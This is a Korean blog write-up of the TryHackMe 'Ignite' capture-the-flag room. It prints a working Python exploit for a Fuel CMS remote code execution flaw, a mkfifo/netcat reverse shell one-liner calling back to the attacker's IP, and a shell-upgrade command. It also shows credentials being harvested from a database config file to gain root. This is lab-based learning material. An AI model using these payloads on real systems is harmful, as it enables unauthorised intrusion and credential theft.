오늘은 TryHackme에서 나온 Ignite 룸을 풀어 볼것이다.
먼저 openvpn을 연결하고 deploy를 해보자.
그리고 deploy된 ip로 웹으로 접속해보자.
접속하면 이런 화면이 나온다.
fuel cms를 검색하니 exploit을 하는 것 같다.
www.exploit-db.com/exploits/47138
이 사이트에 익스플로잇 코드가 있다.
그런데 수정 해야 할 부분이 있는 것 같다.
import requests
import urllib
url = "http://deploy한 IP"
def find_nth_overlapping(haystack, needle, n):
start = haystack.find(needle)
while start >= 0 and n > 1:
start = haystack.find(needle, start+1)
n -= 1
return start
while 1:
xxxx = raw_input('cmd:')
URL = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.quote(xxxx)+"%27%29%2b%27"
r = requests.get(URL)
html = "<!DOCTYPE html>"
htmlcharset = r.text.find(html)
begin = r.text[0:20]
dup = find_nth_overlapping(r.text,begin,2)
print r.text[0:dup]
이 파이썬 exploit코드를 실행하면 cmd: 라고 나올걸이다.
이제 여기에 reverse shell cheat sheet pentest monkey로 접속할 것이다.
먼저 다른 터미널에서 nc -lvp <port>를 하고,
rm /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc <ip addr show tun0으로 나온 ip> <port> >/tmp/f
python으로 접속한 터미널에 위의 코드에 ip를 넣고 port는 아까 nc -lvp 에 사용했던 포트를 넣는다.
위처럼 명령어를 넣으면, 다른 터미널에서 밑과 같은 결과가 나온다.
그리고 cheat sheet을 더욱 활성화하기 위해
python -c 'import pty; pty.spawn("/bin/bash")'
코드를 "cmd:" 터미널 말고, nc로 듣고 있는 포트에 넣는다.
이제 파일을 살펴보자.
근데 ls을 하고 robots.txt를 확인하니 /fuel 페이지가 있다.
웹에서 <deploy한 ip>/fuel로 접속해보니 로그인 페이지가 나왔다.
그럼 이제 파일들 중 로그인 정보가 있는 php를 찾으면 된다.
config 파일안에 database가 있을거라고 생각하고 config파일을 찾았다.
그런데 /fuel/application에 config 파일이 있었다.
config파일 안에 database.php가 있었다.
cat을 해보니 중간에 id와 pw가 있었다.
id:root, pw:mememe라는 정보를 알아냈다.
이제 su 명령어를 입력하고, mememe를 pw에 넣으면 root로 전환된다.
이제 cd /root로 들어가보자.
거기에 flag가 있을 것이다.
여기에는 root.txt가 있는데 user.txt를 찾지 못했다.
root말고 다른 사용자안에 있는 것 같다.
cd /home으로 이동하니 www-data사용자가 있다.
그 사용자 디렉토리로 이동하니 flag.txt가 있다.
이렇게 fuel CMS취약점을 이용해 exploit하여 플래그를 둘 다 찾았다.
The end
'TryHackMe' 카테고리의 다른 글
TryHackMe - StartUp🌶️ (0) | 2021.01.24 |
---|---|
TryHackMe - inclusion (WriteUp) (0) | 2021.01.17 |
TryHackMe - RootMe💻 (0) | 2021.01.16 |
TryHackMe - Hydra🐉 (WriteUp) (0) | 2021.01.11 |
TryHackMe - Pickle Rick🥒(WriteUp) (0) | 2021.01.10 |